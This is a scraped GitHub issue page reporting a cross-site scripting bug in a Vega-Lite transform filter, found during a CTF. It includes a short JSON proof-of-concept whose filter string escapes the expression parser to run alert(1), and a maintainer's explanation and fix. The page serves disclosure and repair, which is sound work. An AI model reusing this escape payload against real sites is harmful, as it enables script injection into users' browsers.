XSS in transform filter
See original GitHub issueThis was found during the hxp ctf.
Credit
- Describe how to reproduce the bug / the goal of the feature request: Paste the below JSON in the Vega Editor. Working demo. You will see a ‘1’ alert dialog. To my understanding you should not be able to run arbitrary JS using vega-lite json, should you?
- Provide an example spec in JSON, wrapped by triple backticks like this:
{
"data": {
"values": [{}]
},
"transform": [
{"filter": "(0//1/)-'\\\n,alert(1))))//'"}
],
"mark": "bar"
}
Issue Analytics
- State:
- Created 3 years ago
- Comments:6 (5 by maintainers)
Top Results From Across the Web
Cross-Site Scripting (XSS) Cheat Sheet | Web Security Academy
This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the ......
Read more >Cross Site Scripting Prevention - OWASP Cheat Sheet Series
The purpose of output encoding (as it relates to Cross Site Scripting) is to convert untrusted input into a safe form where the...
Read more >Our Favorite XSS Filters/IDS and how to Attack Them - Black Hat
Our Favorite XSS Filters/IDS and how to Attack Them. Most recent version of slides can be obtained from blackhat's website or http://p42.us/favxss/ ...
Read more >A Pentester's Guide to Cross-Site Scripting (XSS) - Cobalt.io
Examine a common security vulnerability, Cross-Site Scripting (XSS). Exploring what it is, how to spot it, and a XSS cheat sheet.
Read more >Advanced Techniques to Bypass & Defeat XSS Filters, Part 1
There is no shortage of defenses against cross-site scripting (XSS) since it is so prevalent on the web today. Filters are one of...
Read more >Top Related Medium Post
No results found
Top Related StackOverflow Question
No results found
Troubleshoot Live Code
Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start FreeTop Related Reddit Thread
No results found
Top Related Hackernoon Post
No results found
Top Related Tweet
No results found
Top Related Dev.to Post
No results found
Top Related Hashnode Post
No results found
Top GitHub Comments
The error stemmed from the removal of comments from our parser, which opened the door to seeing “division by a regexp” instead. PR #3019 updates the parser to instead throw when a single-line comment
//
is encountered, which is the intended design.The issue also exists in Vega 2.
(try at https://vega.github.io/vega-editor/?mode=vega)